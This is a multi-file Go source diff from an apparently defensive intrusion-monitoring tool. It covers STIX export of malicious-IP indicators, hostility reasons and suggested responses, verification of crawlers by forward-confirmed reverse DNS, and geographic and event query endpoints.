s.Hosts = sortedKeys(hosts, maxListed)
s.Domains = sortedKeys(doms, maxListed)
s.PeakRPM = CadenceFrom(times).BurstMax60
return s, failsBefore
}
// Escalation lists, in time order, each event of s that raised the session to
// a stage not yet reached, with the evidence behind it.
func Escalation(s Session, events []Ev) []Step {
var evs []Ev
fails := false
for _, e := range events {
if e.IP != s.IP {
continue
}
if e.T.Before(s.Start) {
fails = fails || e.Cat == string(core.SSHFail)
} else if !e.T.After(s.End) {
evs = append(evs, e)
}
}
sort.SliceStable(evs, func(i, j int) bool { return evs[i].T.Before(evs[j].T) })
var steps []Step
best := 0
for _, e := range evs {
if st, ev := stageOf(e, fails); StageRank(st) > best {
best = StageRank(st)
steps = append(steps, Step{Stage: st, T: e.T, Evidence: clipStr(ev, 200)})
}
if e.Cat == string(core.SSHFail) {
fails = true
}
}
return steps
}
func clipStr(s string, n int) string {
if len(s) > n {
return s[:n]
}
return s
}
+255
View File
@@ -0,0 +1,255 @@
package intel
import (
"crypto/sha1" //nolint:gosec // UUIDv5 is defined over SHA-1
"encoding/json"
"errors"
"fmt"
"net/netip"
"regexp"
"strings"
"time"
)
// stixNamespace is the fixed UUIDv5 namespace of every Urutau STIX id.
var stixNamespace = [16]byte{0x5a, 0x1f, 0x7c, 0x3e, 0x9d, 0x42, 0x4b, 0x6a, 0x8e, 0x01, 0xc4, 0xf7, 0x2b, 0x90, 0xd3, 0x6e}
func uuidV5(key string) string {
h := sha1.New() //nolint:gosec
h.Write(stixNamespace[:])
h.Write([]byte(key))
b := h.Sum(nil)[:16]
b[6] = b[6]&0x0f | 0x50
b[8] = b[8]&0x3f | 0x80
return fmt.Sprintf("%x-%x-%x-%x-%x", b[0:4], b[4:6], b[6:8], b[8:10], b[10:16])
}
func stixID(typ, key string) string { return typ + "--" + uuidV5(typ+":"+key) }
func stixTime(t time.Time) string { return t.UTC().Format("2006-01-02T15:04:05.000Z") }
type extRef struct {
SourceName string `json:"source_name"`
ExternalID string `json:"external_id,omitempty"`
URL string `json:"url,omitempty"`
}
type sdo struct {
Type string `json:"type"`
SpecVersion string `json:"spec_version"`
ID string `json:"id"`
Created string `json:"created"`
Modified string `json:"modified"`
Name string `json:"name,omitempty"`
Description string `json:"description,omitempty"`
IdentityClass string `json:"identity_class,omitempty"`
Pattern string `json:"pattern,omitempty"`
PatternType string `json:"pattern_type,omitempty"`
ValidFrom string `json:"valid_from,omitempty"`
ValidUntil string `json:"valid_until,omitempty"`
IndicatorTypes []string `json:"indicator_types,omitempty"`
Labels []string `json:"labels,omitempty"`
CreatedByRef string `json:"created_by_ref,omitempty"`
ExternalRefs []extRef `json:"external_references,omitempty"`
RelationshipTyp string `json:"relationship_type,omitempty"`
SourceRef string `json:"source_ref,omitempty"`
TargetRef string `json:"target_ref,omitempty"`
FirstSeen string `json:"first_seen,omitempty"`
LastSeen string `json:"last_seen,omitempty"`
Count int `json:"count,omitempty"`
SightingOfRef string `json:"sighting_of_ref,omitempty"`
WhereSighted []string `json:"where_sighted_refs,omitempty"`
}
type sco struct {
Type string `json:"type"`
SpecVersion string `json:"spec_version"`
ID string `json:"id"`
Value string `json:"value"`
}
type bundle struct {
Type string `json:"type"`
ID string `json:"id"`
Objects []any `json:"objects"`
}
var techIDRe = regexp.MustCompile(`^T\d{4}(\.\d{3})?$`)
const maxSTIXItems = 20
// STIXBundle builds a STIX 2.1 bundle describing one malicious IP: the Urutau
// identity, an indicator, the ipv4/ipv6 observable, a sighting, one
// attack-pattern per MITRE technique and "indicates"/"based-on" relationships.
// Ids are deterministic (UUIDv5 over fixed namespace and keys); created and
// modified are now. sightingOf optionally overrides the sighting's
// sighting_of_ref when it is a STIX id ("indicator--..."); otherwise the
// indicator is used.
func STIXBundle(ip string, first, last time.Time, count int, fams []string, techs []string, sightingOf string, now time.Time) ([]byte, error) {
ip = strings.TrimSpace(ip)
if strings.Contains(ip, "/") {
p, err := netip.ParsePrefix(ip)
if err != nil {
return nil, fmt.Errorf("stix: invalid prefix: %w", err)
}
return STIXBundlePrefix(p, first, last, count, fams, techs, sightingOf, now)
}
addr, err := netip.ParseAddr(ip)
if err != nil {
return nil, fmt.Errorf("stix: invalid ip: %w", err)
}
addr = addr.Unmap().WithZone("")
return stixBundle(addr.String(), addr.Is6(), first, last, count, fams, techs, sightingOf, now)
}
// STIXBundlePrefix is STIXBundle for a network prefix (for instance the /64
// key used for IPv6 sources): the indicator pattern and the observable carry
// the CIDR ("[ipv6-addr:value = '2001:db8::/64']"). A single-address prefix
// is treated as that address.
func STIXBundlePrefix(p netip.Prefix, first, last time.Time, count int, fams []string, techs []string, sightingOf string, now time.Time) ([]byte, error) {
if !p.IsValid() {
return nil, errors.New("stix: invalid prefix")
}
a := p.Addr().WithZone("")
if a.Is4In6() {
a = a.Unmap()
bits := p.Bits() - 96
if bits < 0 {
return nil, errors.New("stix: invalid prefix")
}
p = netip.PrefixFrom(a, bits)
}
p = p.Masked()
if p.Bits() == p.Addr().BitLen() {
return stixBundle(p.Addr().String(), p.Addr().Is6(), first, last, count, fams, techs, sightingOf, now)
}
return stixBundle(p.String(), p.Addr().Is6(), first, last, count, fams, techs, sightingOf, now)
}
func stixBundle(ipStr string, v6 bool, first, last time.Time, count int, fams []string, techs []string, sightingOf string, now time.Time) ([]byte, error) {
scoType := "ipv4-addr"
if v6 {
scoType = "ipv6-addr"
}
if last.Before(first) {
first, last = last, first
}
if count < 1 {
count = 1
}
ts := stixTime(now)
base := func(typ, key string) sdo {
return sdo{Type: typ, SpecVersion: "2.1", ID: stixID(typ, key), Created: ts, Modified: ts}
}
ident := base("identity", "urutau")
ident.Name, ident.IdentityClass = "Urutau", "system"
lset := map[string]bool{}
for _, f := range fams {
if f != "" {
lset[strings.ToLower(f)] = true
}
}
ind := base("indicator", ipStr)
ind.Name = "Malicious IP " + ipStr
ind.Pattern = fmt.Sprintf("[%s:value = '%s']", scoType, ipStr)
ind.PatternType = "stix"
ind.ValidFrom = stixTime(first)
ind.ValidUntil = stixTime(last.Add(30 * 24 * time.Hour))
ind.IndicatorTypes = []string{"malicious-activity"}
ind.Labels = sortedKeys(lset, maxSTIXItems)
ind.CreatedByRef = ident.ID
obs := sco{Type: scoType, SpecVersion: "2.1", ID: stixID(scoType, ipStr), Value: ipStr}
sight := base("sighting", ipStr)
sight.FirstSeen, sight.LastSeen, sight.Count = stixTime(first), stixTime(last), count
sight.SightingOfRef = ind.ID
if strings.HasPrefix(sightingOf, "indicator--") {
sight.SightingOfRef = sightingOf
}
sight.WhereSighted = []string{ident.ID}
sight.CreatedByRef = ident.ID
objs := []any{ident, ind, obs, sight}
rel := func(src, typ, dst string) sdo {
r := base("relationship", src+"|"+typ+"|"+dst)
r.RelationshipTyp, r.SourceRef, r.TargetRef = typ, src, dst
return r
}
objs = append(objs, rel(ind.ID, "based-on", obs.ID))
tset := map[string]bool{}
for _, t := range techs {
if techIDRe.MatchString(t) {
tset[t] = true
}
}
for _, t := range sortedKeys(tset, maxSTIXItems) {
ap := base("attack-pattern", t)
ap.Name = TechniqueName(t)
if ap.Name == "" {
ap.Name = t
}
ap.ExternalRefs = []extRef{{SourceName: "mitre-attack", ExternalID: t,
URL: "https://attack.mitre.org/techniques/" + strings.ReplaceAll(t, ".", "/") + "/"}}
objs = append(objs, ap, rel(ind.ID, "indicates", ap.ID))
}
b := bundle{Type: "bundle", ID: stixID("bundle", ipStr), Objects: objs}
return json.MarshalIndent(b, "", " ")
}
var stixIDRe = regexp.MustCompile(`^[a-z][a-z0-9-]*--[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$`)
// ValidateSTIX checks the structural minimum of a STIX 2.1 bundle: bundle
// shape, and for every SDO/SRO the fields type, spec_version "2.1", id,
// created and modified; SCOs need type, spec_version and id. Ids must match
// their type and reference ids must be well formed.
func ValidateSTIX(data []byte) error {
var b struct {
Type string `json:"type"`
ID string `json:"id"`
Objects []map[string]any `json:"objects"`
}
if err := json.Unmarshal(data, &b); err != nil {
return err
}
if b.Type != "bundle" || !stixIDRe.MatchString(b.ID) || !strings.HasPrefix(b.ID, "bundle--") {
return errors.New("stix: bad bundle header")
}
if len(b.Objects) == 0 {
return errors.New("stix: empty bundle")
}
ids := map[string]bool{}
for _, o := range b.Objects {
typ, _ := o["type"].(string)
id, _ := o["id"].(string)
if typ == "" || !strings.HasPrefix(id, typ+"--") || !stixIDRe.MatchString(id) {
return fmt.Errorf("stix: bad type/id %q %q", typ, id)
}
if o["spec_version"] != "2.1" {
return fmt.Errorf("stix: %s missing spec_version 2.1", id)
}
if !strings.HasSuffix(typ, "-addr") {
for _, f := range []string{"created", "modified"} {
if s, _ := o[f].(string); s == "" {
return fmt.Errorf("stix: %s missing %s", id, f)
}
}
}
if ids[id] {
return fmt.Errorf("stix: duplicate id %s", id)
}
ids[id] = true
}
for _, o := range b.Objects {
for _, f := range []string{"source_ref", "target_ref", "sighting_of_ref", "created_by_ref"} {
if r, ok := o[f].(string); ok && !ids[r] && !strings.HasPrefix(r, "indicator--") {
return fmt.Errorf("stix: dangling %s %s", f, r)
}
}
}
return nil
}
+172
View File
@@ -0,0 +1,172 @@
package intel
import (
"sort"
"strconv"
)
// Reason is one stable-coded explanation for a verdict. Text is an i18n key
// ("intel.reason.<code>"); Params carry the values to interpolate.
type Reason struct {
Code string `json:"code"`
Text string `json:"text"`
Weight float64 `json:"weight"`
N int `json:"n"`
Params map[string]string `json:"params,omitempty"`
}
// ReasonInput is what the backend knows about a source.
type ReasonInput struct {
ExploitsRefused map[string]int // refused (4xx/5xx) exploit attempts by family
ToolUA string // attack-tool label, "" when none
BannedJails []string // jails that banned it
Categories int // distinct malicious categories seen
Exposure map[string]int // 2xx answers on sensitive families
SSHOKAfterBrute bool // ssh login after brute force
Admin bool // the source is an administrator
Immune bool // the source is whitelisted
}
// Reason codes.
const (
ReasonExploitsRefused = "exploits_refused"
ReasonToolUA = "tool_ua"
ReasonBannedJail = "banned_jail"
ReasonMultiCategory = "multi_category"
ReasonExposure = "exposure"
ReasonSSHAfterBrute = "ssh_login_after_bruteforce"
ReasonAdmin = "admin"
ReasonImmune = "immune"
)
func mkReason(code string, w float64, n int, params map[string]string) Reason {
return Reason{Code: code, Text: "intel.reason." + code, Weight: w, N: n, Params: params}
}
func sumMap(m map[string]int) (n int, keys []string) {
for k, v := range m {
if v > 0 {
n += v
keys = append(keys, k)
}
}
sort.Strings(keys)
return
}
func join(keys []string) string {
s := ""
for i, k := range keys {
if i >= 5 {
break
}
if i > 0 {
s += ", "
}
s += k
}
return s
}
// Reasons explains why a source is considered hostile, heaviest first.
func Reasons(in ReasonInput) []Reason {
var out []Reason
if n, fams := sumMap(in.ExploitsRefused); n > 0 {
out = append(out, mkReason(ReasonExploitsRefused, 0.35, n, map[string]string{"families": join(fams), "n": strconv.Itoa(n)}))
}
if in.ToolUA != "" {
out = append(out, mkReason(ReasonToolUA, 0.15, 1, map[string]string{"tool": clipStr(in.ToolUA, 80)}))
}
if n := len(in.BannedJails); n > 0 {
out = append(out, mkReason(ReasonBannedJail, 0.2, n, map[string]string{"jails": join(in.BannedJails)}))
}
if in.Categories >= 2 {
out = append(out, mkReason(ReasonMultiCategory, 0.1, in.Categories, map[string]string{"n": strconv.Itoa(in.Categories)}))
}
if n, fams := sumMap(in.Exposure); n > 0 {
out = append(out, mkReason(ReasonExposure, 0.5, n, map[string]string{"families": join(fams), "n": strconv.Itoa(n)}))
}
if in.SSHOKAfterBrute {
out = append(out, mkReason(ReasonSSHAfterBrute, 0.9, 1, nil))
}
if in.Admin {
out = append(out, mkReason(ReasonAdmin, -0.5, 1, nil))
}
if in.Immune {
out = append(out, mkReason(ReasonImmune, -1, 1, nil))
}
sort.SliceStable(out, func(i, j int) bool { return out[i].Weight > out[j].Weight })
return out
}
// Action is a suggested response.
type Action struct {
Code string `json:"code"`
Priority int `json:"priority"` // 1 = most urgent
Reason string `json:"reason"` // code of the Reason behind it
}
// Action codes.
const (
ActionBlock = "block"
ActionReport = "report"
ActionInvestigate = "investigate"
ActionIncident = "incident"
)
// ActionInput feeds Actions.
type ActionInput struct {
Reasons []Reason
Banned bool // already blocked
Immune bool
Admin bool
Stage string // highest session stage reached
}
// Actions suggests responses. Immune or admin sources get none. A successful
// login after brute force or a 2xx on a sensitive path raises an incident and
// an investigation; block applies when not yet banned and the evidence is
// strong (score >= 0.5 or exploit stage or above); report when the score
// reaches 0.5.
func Actions(in ActionInput) []Action {
if in.Immune || in.Admin {
return nil
}
score := 0.0
has := map[string]bool{}
for _, r := range in.Reasons {
has[r.Code] = true
if r.Code == ReasonAdmin || r.Code == ReasonImmune {
return nil
}
score += r.Weight
}
var out []Action
switch {
case has[ReasonSSHAfterBrute]:
out = append(out, Action{ActionIncident, 1, ReasonSSHAfterBrute})
case has[ReasonExposure]:
out = append(out, Action{ActionIncident, 1, ReasonExposure})
}
if has[ReasonSSHAfterBrute] || has[ReasonExposure] {
code := ReasonExposure
if has[ReasonSSHAfterBrute] {
code = ReasonSSHAfterBrute
}
out = append(out, Action{ActionInvestigate, 2, code})
}
if !in.Banned && (score >= 0.5 || StageRank(in.Stage) >= StageRank(StageExploit)) {
out = append(out, Action{ActionBlock, 3, topCode(in.Reasons)})
}
if score >= 0.5 {
out = append(out, Action{ActionReport, 4, topCode(in.Reasons)})
}
return out
}
func topCode(rs []Reason) string {
if len(rs) == 0 {
return ""
}
return rs[0].Code
}
+58
View File
@@ -0,0 +1,58 @@
package rdns
import (
"context"
"errors"
"testing"
)
func TestFCrDNS(t *testing.T) {
r := New()
calls := 0
r.lookup = func(_ context.Context, ip string) ([]string, error) {
calls++
switch ip {
case "66.249.66.1":
return []string{"crawl-66-249-66-1.googlebot.com."}, nil
case "6.6.6.6": // claims to be google, forward does not confirm
return []string{"fake.googlebot.com."}, nil
case "7.7.7.7": // reverse name outside the allowed domains
return []string{"host.evil.example."}, nil
case "157.55.39.1":
return []string{"msnbot-157-55-39-1.search.msn.com."}, nil
}
return nil, errors.New("nxdomain")
}
r.forward = func(_ context.Context, name string) ([]string, error) {
switch name {
case "crawl-66-249-66-1.googlebot.com":
return []string{"66.249.66.1"}, nil
case "fake.googlebot.com":
return []string{"1.2.3.4"}, nil
case "msnbot-157-55-39-1.search.msn.com":
return []string{"157.55.39.1"}, nil
}
return nil, errors.New("nxdomain")
}
g := []string{"googlebot.com", "google.com"}
if !r.FCrDNS("66.249.66.1", g) {
t.Fatal("real googlebot must verify")
}
if r.FCrDNS("6.6.6.6", g) || r.FCrDNS("7.7.7.7", g) || r.FCrDNS("8.8.8.8", g) {
t.Fatal("impostors must fail")
}
if r.FCrDNS("66.249.66.1", []string{"search.msn.com"}) {
t.Fatal("a Google address is not Bing")
}
if !r.FCrDNS("157.55.39.1", []string{"search.msn.com"}) {
t.Fatal("bingbot")
}
n := calls
r.FCrDNS("66.249.66.1", g)
if calls != n {
t.Fatal("results must be cached")
}
if r.FCrDNS("10.0.0.1", g) || r.FCrDNS("garbage", g) || r.FCrDNS("fe80::1%eth0", g) {
t.Fatal("private and invalid addresses are never looked up")
}
}
+87
View File
@@ -3,6 +3,7 @@ package rdns
import (
"context"
"errors"
"net"
"net/netip"
"strings"
@@ -10,6 +11,11 @@ import (
"time"
)
type fcrEntry struct {
ok bool
exp time.Time
}
type entry struct {
name string
exp time.Time
@@ -21,6 +27,8 @@ type Resolver struct {
Timeout time.Duration
MaxSize int
lookup func(ctx context.Context, ip string) ([]string, error)
forward func(ctx context.Context, name string) ([]string, error)
fcr map[string]fcrEntry
mu sync.Mutex
cache map[string]entry
@@ -33,9 +41,88 @@ func New() *Resolver {
r := &Resolver{TTL: 24 * time.Hour, Timeout: 2 * time.Second, MaxSize: 4000,
cache: map[string]entry{}, pending: map[string]bool{}, queue: make(chan string, 256)}
r.lookup = func(ctx context.Context, ip string) ([]string, error) { return net.DefaultResolver.LookupAddr(ctx, ip) }
r.forward = func(ctx context.Context, name string) ([]string, error) {
return net.DefaultResolver.LookupHost(ctx, name)
}
r.fcr = map[string]fcrEntry{}
return r
}
// FCrDNS checks forward-confirmed reverse DNS for a crawler that claims to be
// one: the reverse name must end in one of suffixes (each given as
// "googlebot.com") and a forward lookup of that name must give the address
// back. It is synchronous with a short timeout (1.5 s) and cached for 24 h.
func (r *Resolver) FCrDNS(ip string, suffixes []string) bool {
a, err := netip.ParseAddr(ip)
if err != nil || a.Zone() != "" || a.IsPrivate() || a.IsLoopback() || a.IsUnspecified() {
return false
}
a = a.Unmap()
key := a.String() + "|" + strings.Join(suffixes, ",")
r.mu.Lock()
if e, ok := r.fcr[key]; ok && time.Now().Before(e.exp) {
r.mu.Unlock()
return e.ok
}
r.mu.Unlock()
ok, transient := r.fcrdns(a, suffixes)
ttl := r.TTL
if transient {
ttl = time.Minute // a timeout or a server failure says nothing: look again soon
}
r.mu.Lock()
if len(r.fcr) >= r.MaxSize {
r.fcr = map[string]fcrEntry{}
}
r.fcr[key] = fcrEntry{ok, time.Now().Add(ttl)}
r.mu.Unlock()
return ok
}
// isFinal reports whether a DNS error is an answer (the name does not exist)
// rather than a transient failure.
func isFinal(err error) bool {
var de *net.DNSError
return errors.As(err, &de) && de.IsNotFound
}
func (r *Resolver) fcrdns(a netip.Addr, suffixes []string) (ok, transient bool) {
ctx, cancel := context.WithTimeout(context.Background(), 1500*time.Millisecond)
defer cancel()
names, err := r.lookup(ctx, a.String())
if err != nil {
return false, !isFinal(err)
}
for i, n := range names {
if i >= 3 {
break
}
n = strings.ToLower(strings.TrimSuffix(n, "."))
match := false
for _, s := range suffixes {
if n == s || strings.HasSuffix(n, "."+s) {
match = true
}
}
if !match {
continue
}
addrs, err := r.forward(ctx, n)
if err != nil {
if !isFinal(err) {
transient = true
}
continue
}
for _, x := range addrs {
if b, err := netip.ParseAddr(x); err == nil && b.Unmap() == a {
return true, false
}
}
}
return false, transient
}
// Lookup returns the cached name ("" when unknown or not resolvable yet) and
// queues the address for resolution. It never blocks.
func (r *Resolver) Lookup(ip string) string {
+36
View File
@@ -0,0 +1,36 @@
package rdns
import (
"context"
"errors"
"net"
"testing"
"time"
)
func TestFCrDNSTransientFailureIsNotCachedForADay(t *testing.T) {
r := New()
r.lookup = func(context.Context, string) ([]string, error) { return nil, errors.New("i/o timeout") }
if r.FCrDNS("66.249.66.1", []string{"googlebot.com"}) {
t.Fatal("a timeout is not a confirmation")
}
var exp time.Time
for _, e := range r.fcr {
exp = e.exp
}
if time.Until(exp) > 2*time.Minute {
t.Fatalf("a transient failure must be retried soon, expires in %v", time.Until(exp))
}
// the name really does not exist: that answer is final
r2 := New()
r2.lookup = func(context.Context, string) ([]string, error) {
return nil, &net.DNSError{Err: "no such host", IsNotFound: true}
}
r2.FCrDNS("66.249.66.2", []string{"googlebot.com"})
for _, e := range r2.fcr {
exp = e.exp
}
if time.Until(exp) < 23*time.Hour {
t.Fatalf("NXDOMAIN keeps the long TTL: %v", time.Until(exp))
}
}
+283
View File
@@ -0,0 +1,283 @@
package server
import (
"context"
"net/http"
"regexp"
"sort"
"strings"
"sync"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const (
geoCountries = 250
geoRegions = 64
geoCities = 200
geoIPs = 50
geoTTL = 5 * time.Second
geoCacheMax = 256
)
var ccRe = regexp.MustCompile(`^[A-Z]{2}$`)
type geoCache struct {
mu sync.Mutex
at map[string]time.Time
v map[string]any
}
type regionOut struct {
Name string `json:"name"`
Events uint64 `json:"events"`
IPs int `json:"ips"`
Cats map[string]int `json:"cats"`
}
type cityOut struct {
Name string `json:"name"`
Region string `json:"region"`
Lat *float64 `json:"lat,omitempty"`
Lon *float64 `json:"lon,omitempty"`
Events uint64 `json:"events"`
IPs int `json:"ips"`
}
type geoIPOut struct {
IP string `json:"ip"`
Score float64 `json:"score"`
Level string `json:"level"`
City string `json:"city"`
Reg string `json:"region"`
ASN uint32 `json:"asn"`
ASOrg string `json:"as_org"`
Last int64 `json:"last"`
}
type countryOut struct {
CC string `json:"cc"`
Events uint64 `json:"events"`
IPs int `json:"ips"`
Hostile int `json:"hostile"`
Suspicious int `json:"suspicious"`
Cats map[string]int `json:"cats"`
}
type agg struct {
events uint64
ips int
hostile, suspic int
cats map[string]int
}
func (a *agg) add(x store.IPSummary, ev uint64, cats map[string]int) {
if a.cats == nil {
a.cats = map[string]int{}
}
a.events += ev
a.ips++
switch x.Level {
case core.LevelHostile:
a.hostile++
case core.LevelSuspicious:
a.suspic++
}
for k, v := range cats {
a.cats[k] += v
}
}
// attackerEvents sums the malicious category counts of an IP row.
func attackerEvents(x store.IPSummary) (uint64, map[string]int) {
var n uint64
cats := map[string]int{}
for _, c := range core.Categories {
if !c.IsMalicious() {
continue
}
if v := x.Counts[string(c)]; v > 0 {
n += uint64(v)
cats[string(c)] = int(v)
}
}
return n, cats
}
// geoAPI serves GET /api/v1/geo (see the package documentation of the routes).
func (s *Server) geoAPI(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
rng, ok := s.rangeOf(w, r)
if !ok {
return
}
rg := rng.Key()
host := q.Get("host")
if host == "" {
host = "all"
}
if host != "all" && host != s.opt.Store.Name() && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
return
}
cc, region := q.Get("cc"), q.Get("region")
if cc != "" && !ccRe.MatchString(cc) {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "invalid cc"})
return
}
if region != "" && (cc == "" || len(region) > 80) {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "invalid region"})
return
}
key := strings.Join([]string{rg, host, cc, region}, "\x00")
s.geo.mu.Lock()
defer s.geo.mu.Unlock()
if v, ok := s.geo.v[key]; ok && time.Since(s.geo.at[key]) < geoTTL {
writeJSON(w, 200, v)
return
}
if s.geo.v == nil || len(s.geo.v) >= geoCacheMax {
s.geo.v, s.geo.at = map[string]any{}, map[string]time.Time{}
}
var out any
if cc == "" {
out = s.geoWorld(r.Context(), rng, host)
} else {
out = s.geoCountry(r.Context(), rng, host, cc, region)
}
s.geo.v[key], s.geo.at[key] = out, time.Now()
writeJSON(w, 200, out)
}
// geoOf resolves the geography of a row: the local databases first, the data
// the row already carries (a peer's) as the fallback for country and city.
func (s *Server) geoOf(x store.IPSummary) core.GeoInfo {
g := s.opt.Store.GeoOf(x.IP)
if g.CC == "" && ccRe.MatchString(x.CC) {
g.CC, g.Country, g.City = x.CC, x.Country, x.City
}
return g
}
func (s *Server) geoWorld(ctx context.Context, rg store.Range, host string) map[string]any {
by := map[string]*agg{}
for _, x := range s.allIPs(ctx, rg, host) {
ev, cats := attackerEvents(x)
if ev == 0 {
continue
}
g := s.geoOf(x)
if g.CC == "" {
continue
}
a := by[g.CC]
if a == nil {
a = &agg{}
by[g.CC] = a
}
a.add(x, ev, cats)
}
list := make([]countryOut, 0, len(by))
for cc, a := range by {
list = append(list, countryOut{cc, a.events, a.ips, a.hostile, a.suspic, a.cats})
}
sort.Slice(list, func(i, j int) bool {
if list[i].Events != list[j].Events {
return list[i].Events > list[j].Events
}
return list[i].CC < list[j].CC
})
if len(list) > geoCountries {
list = list[:geoCountries]
}
return map[string]any{"range": rg.Name, "window": rg.Info(s.opt.Now().Unix()), "host": host, "countries": list}
}
func (s *Server) geoCountry(ctx context.Context, rg store.Range, host, cc, region string) map[string]any {
total := &agg{}
regs := map[string]*agg{}
type ck struct{ name, region string }
cities := map[ck]*cityOut{}
var rows []geoIPOut
for _, x := range s.allIPs(ctx, rg, host) {
ev, cats := attackerEvents(x)
if ev == 0 {
continue
}
g := s.geoOf(x)
if g.CC != cc {
continue
}
ra := regs[g.Region]
if ra == nil {
ra = &agg{}
regs[g.Region] = ra
}
ra.add(x, ev, cats)
if region != "" && g.Region != region {
continue
}
total.add(x, ev, cats)
c := cities[ck{g.City, g.Region}]
if c == nil {
c = &cityOut{Name: g.City, Region: g.Region}
if (g.Lat != 0 || g.Lon != 0) && g.Lat >= -90 && g.Lat <= 90 && g.Lon >= -180 && g.Lon <= 180 {
lat, lon := g.Lat, g.Lon
c.Lat, c.Lon = &lat, &lon
}
cities[ck{g.City, g.Region}] = c
}
c.Events += ev
c.IPs++
s.opt.Store.Enrich(&x)
rows = append(rows, geoIPOut{IP: x.IP, Score: x.Score, Level: string(x.Level), City: g.City, Reg: g.Region,
ASN: g.ASN, ASOrg: g.ASOrg, Last: x.Last})
}
if total.cats == nil {
total.cats = map[string]int{}
}
rl := make([]regionOut, 0, len(regs))
for name, a := range regs {
rl = append(rl, regionOut{name, a.events, a.ips, a.cats})
}
sort.Slice(rl, func(i, j int) bool {
if rl[i].Events != rl[j].Events {
return rl[i].Events > rl[j].Events
}
return rl[i].Name < rl[j].Name
})
if len(rl) > geoRegions {
rl = rl[:geoRegions]
}
cl := make([]cityOut, 0, len(cities))
for _, c := range cities {
cl = append(cl, *c)
}
sort.Slice(cl, func(i, j int) bool {
if cl[i].Events != cl[j].Events {
return cl[i].Events > cl[j].Events
}
return cl[i].Name < cl[j].Name
})
if len(cl) > geoCities {
cl = cl[:geoCities]
}
sort.Slice(rows, func(i, j int) bool {
if rows[i].Score != rows[j].Score {
return rows[i].Score > rows[j].Score
}
return rows[i].IP < rows[j].IP
})
if len(rows) > geoIPs {
rows = rows[:geoIPs]
}
out := map[string]any{"range": rg.Name, "window": rg.Info(s.opt.Now().Unix()), "host": host, "cc": cc, "events": total.events, "ips": total.ips,
"hostile": total.hostile, "suspicious": total.suspic, "cats": total.cats,
"regions": rl, "cities": cl, "top_ips": rows}
if region != "" {
out["region"] = region
}
return out
}
+807
View File
@@ -0,0 +1,807 @@
package server
import (
"encoding/json"
"errors"
"fmt"
"net/http"
"net/netip"
"net/url"
"sort"
"strconv"
"strings"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/intel"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func badRequest(w http.ResponseWriter, msg string) {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": msg})
}
// eventFilter parses the filters shared by the registry endpoints.
func (s *Server) eventFilter(w http.ResponseWriter, r *http.Request, defaultSpan time.Duration) (store.EventsQuery, bool) {
q := r.URL.Query()
var eq store.EventsQuery
if q.Get("range") == "" && q.Get("from") == "" {
now := s.opt.Now().Unix()
q.Set("from", strconv.FormatInt(now-int64(defaultSpan/time.Second), 10))
r.URL.RawQuery = q.Encode()
}
rg, ok := s.rangeOf(w, r)
if !ok {
return eq, false
}
eq.From, eq.To = rg.Bounds(s.opt.Now().Unix())
eq.Host = q.Get("host")
if eq.Host == "all" {
eq.Host = ""
}
if len(eq.Host) > 64 {
badRequest(w, "invalid host")
return eq, false
}
if ip := q.Get("ip"); ip != "" {
_, err1 := netip.ParseAddr(ip)
_, err2 := netip.ParsePrefix(ip)
if err1 != nil && err2 != nil {
badRequest(w, "invalid ip")
return eq, false
}
eq.IP = ip
}
if cats := q.Get("cat"); cats != "" {
for _, c := range strings.Split(cats, ",") {
if core.Category(c).Index() < 0 {
badRequest(w, "invalid cat")
return eq, false
}
}
eq.Cat = cats
}
if eq.Q = q.Get("q"); len(eq.Q) > 200 {
badRequest(w, "q too long")
return eq, false
}
if eq.Fam = q.Get("fam"); len(eq.Fam) > 40 {
badRequest(w, "invalid fam")
return eq, false
}
return eq, true
}
// eventsAPI: GET /api/v1/events (also /api/v1/period/events, ascending by default).
func (s *Server) eventsAPI(w http.ResponseWriter, r *http.Request) { s.eventsPage(w, r, true) }
func (s *Server) periodEvents(w http.ResponseWriter, r *http.Request) { s.eventsPage(w, r, false) }
func (s *Server) eventsPage(w http.ResponseWriter, r *http.Request, desc bool) {
eq, ok := s.eventFilter(w, r, 24*time.Hour)
if !ok {
return
}
q := r.URL.Query()
eq.Desc = desc
switch q.Get("order") {
case "":
case "asc":
eq.Desc = false
case "desc":
eq.Desc = true
default:
badRequest(w, "invalid order")
return
}
eq.Limit = 200
if v := q.Get("limit"); v != "" {
n, err := strconv.Atoi(v)
if err != nil || n < 1 {
badRequest(w, "invalid limit")
return
}
eq.Limit = min(n, evlog.MaxLimit)
}
eq.Cursor = q.Get("cursor")
if len(eq.Cursor) > 100 {
badRequest(w, "invalid cursor")
return
}
page, err := s.opt.Store.QueryEvents(eq)
if errors.Is(err, evlog.ErrBusy) {
w.Header().Set("Retry-After", "5")
writeJSON(w, http.StatusServiceUnavailable, map[string]string{"error": "busy"})
return
}
if err != nil {
badRequest(w, "invalid cursor")
return
}
writeJSON(w, 200, page)
}
// sessionsAPI: GET /api/v1/events/sessions?from&to&host&gap=900
func (s *Server) sessionsAPI(w http.ResponseWriter, r *http.Request) {
eq, ok := s.eventFilter(w, r, 24*time.Hour)
if !ok {
return
}
gap := int64(900)
if v := r.URL.Query().Get("gap"); v != "" {
n, err := strconv.ParseInt(v, 10, 64)
if err != nil || n < 30 || n > 86400 {
badRequest(w, "gap must be 30..86400 seconds")
return
}
gap = n
}
list, trunc := s.opt.Store.Sessions(eq.From, eq.To, eq.Host, eq.IP, gap)
writeJSON(w, 200, map[string]any{"sessions": list, "gap": gap, "truncated": trunc, "enabled": s.opt.Store.EventLog() != nil})
}
// studyHosts resolves the host selection of period and metrics: whether the
// local study is wanted and which peers to ask. It answers 404 itself.
func (s *Server) studyHosts(w http.ResponseWriter, host string) (local bool, peers bool, only string, ok bool) {
self := s.opt.Store.Name()
if host == "" || host == "all" {
return true, s.opt.Hub != nil, "", true
